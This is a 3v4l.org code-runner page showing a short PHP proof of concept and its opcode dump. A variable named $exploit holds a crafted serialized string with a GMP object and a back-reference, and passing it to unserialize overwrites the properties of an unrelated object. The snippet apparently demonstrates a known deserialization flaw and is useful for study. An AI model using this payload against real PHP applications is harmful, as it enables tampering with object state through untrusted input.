3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $test; function __wakeup() { $this->test = 1; } } $obj = new stdClass;// $obj handle = 1 $obj->var1 = 1; $obj->var2 = 2; $inner = 's:4:"1337";a:3:{s:4:"var1";s:6:"change";s:4:"var2";s:4:"this";i:0;O:3:"obj":1:{s:4:"test";R:2;}}'; $exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}'; $x = unserialize($exploit);// $x handle = 2 var_dump($obj);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/1Uc7K
function name:  (null)
number of ops:  22
compiled vars:  !0 = $obj, !1 = $inner, !2 = $exploit, !3 = $x
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   10     0  E >   NEW                                              $4      'stdClass'
          1        DO_FCALL                                      0          
          2        ASSIGN                                                   !0, $4
   11     3        ASSIGN_OBJ                                               !0, 'var1'
          4        OP_DATA                                                  1
   12     5        ASSIGN_OBJ                                               !0, 'var2'
          6        OP_DATA                                                  2
   13     7        ASSIGN                                                   !1, 's%3A4%3A%221337%22%3Ba%3A3%3A%7Bs%3A4%3A%22var1%22%3Bs%3A6%3A%22change%22%3Bs%3A4%3A%22var2%22%3Bs%3A4%3A%22this%22%3Bi%3A0%3BO%3A3%3A%22obj%22%3A1%3A%7Bs%3A4%3A%22test%22%3BR%3A2%3B%7D%7D'
   14     8        STRLEN                                           ~10     !1
          9        CONCAT                                           ~11     'a%3A1%3A%7Bi%3A0%3BC%3A3%3A%22GMP%22%3A', ~10
         10        CONCAT                                           ~12     ~11, '%3A%7B'
         11        CONCAT                                           ~13     ~12, !1
         12        CONCAT                                           ~14     ~13, '%7D%7D'
         13        ASSIGN                                                   !2, ~14
   15    14        INIT_FCALL                                               'unserialize'
         15        SEND_VAR                                                 !2
         16        DO_ICALL                                         $16     
         17        ASSIGN                                                   !3, $16
   16    18        INIT_FCALL                                               'var_dump'
         19        SEND_VAR                                                 !0
         20        DO_ICALL                                                 
         21      > RETURN                                                   1

Class obj:
Function __wakeup:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/1Uc7K
function name:  __wakeup
number of ops:  3
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    7     0  E >   ASSIGN_OBJ                                               'test'
          1        OP_DATA                                                  1
    8     2      > RETURN                                                   null

End of function __wakeup

End of class obj.

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
150.07 ms | 1396 KiB | 17 Q